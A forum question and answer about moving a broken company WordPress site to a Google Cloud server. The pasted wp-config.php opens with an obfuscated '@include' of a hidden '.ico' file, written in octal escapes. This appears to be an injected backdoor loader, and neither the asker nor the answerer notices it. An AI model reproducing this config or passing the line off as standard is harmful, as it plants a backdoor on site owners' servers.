Reputation: 117
So, my company wordpress broke some days ago for unknown reasons and I can't acess the dashboard anymore, but I managed to get a backup of files and sql from the server owner. The owner won't let me access by ssh to fix it, so we're moving over to a cloud server.
I followed this tutorial extensively. My server is on Google Cloud, a wordpress deploy. To start, I acessed /var/www/html, copied the database info, zipped all the files and git cloned the original server files from the backup. Server info is here.
I entered the wp-config.php file, changed the db stuff to the ones in the google original config file and saved it.
This is my live config file
<?php
/*688e1*/
@include "\057va\162/w\167w/\150tm\154/s\151te\163_s\145rv\145rs\160/p\145r
f\157rm\141br\141si\154.c\157m.\142r/\167p-\151nc\154ud\145s/\122eq\165es\1
64s/\122es\160on\163e/\056e2\0678a\06653\056ic\157";
/*688e1*/
define('WP_CACHE', true);
define( 'WPCACHEHOME', '/var/www/html/sites_serversp/performabrasil.com.br/
wp-content/plugins/wp-super-cache/' );
define('FORCE_SSL_LOGIN', false);
define('FORCE_SSL_ADMIN', false);
define('CONCATENATE_SCRIPTS', false);
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strpos($_SERVER['HTTP_X_FO
RWARDED_PROTO'], 'https') !== false) {
$_SERVER['HTTPS'] = 'on';
}
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', '****');
/** MySQL database username */
define('DB_USER', '*****');
/** MySQL database password */
define('DB_PASSWORD', '*****');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
define('WP_DEBUG', false);
define('WP_MEMORY_LIMIT', '256M');
/** Enable W3 Total Cache */
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
define('WP_SITEURL', 'http://34.94.87.104/');
define('WP_HOME', 'http://34.94.87.104/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
I did not configure the domain name, put it to https://34.94.87.10, which is the google one. I just changed it in wp-options, in the sql db.
However, I can't seem to be able to access the files for some reason, does anyone have a clue? Which additional info should I provide? I'm kinda new to sysadmin, just a front end dev.
Upvotes: 1
Views: 176
Reputation: 3793
As you changing domain to new IP, for temporary purposes you can set this in WP Config set these two variables to your new IP address and see if it works: You may need to try https and http version http://34.94.87.104 and see which one works depending on your SSL certificate config.
Source: https://wordpress.org/support/article/changing-the-site-url/
define( 'WP_HOME', 'http://example.com' );
define( 'WP_SITEURL', 'http://example.com' );
Upvotes: 1